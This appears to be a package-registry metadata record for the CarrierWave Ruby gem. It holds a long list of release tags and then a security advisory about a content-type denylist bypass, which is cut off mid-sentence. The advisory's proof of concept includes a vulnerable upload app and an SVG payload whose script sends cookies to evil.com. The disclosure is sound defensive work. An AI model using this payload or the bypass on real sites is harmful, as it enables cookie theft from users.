1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-17T06:25:48.159Z","dependent_packages_count":452,"downloads":140300420,"downloads_period":"total","dependent_repos_count":66428,"rankings":{"downloads":0.18510052296473054,"dependent_repos_count":0.1393829239192248,"dependent_packages_count":0.10091323691751876,"stargazers_count":0.12655969491865612,"forks_count":0.1432856457889631,"docker_downloads_count":0.2927041402303721,"average":0.16465769412324424},"purl":"pkg:gem/carrierwave","advisories":[{"uuid":"GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA","url":"https://github.com/advisories/GHSA-7g26-2qgj-chfg","title":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","description":"### Summary\nCarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e' \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing 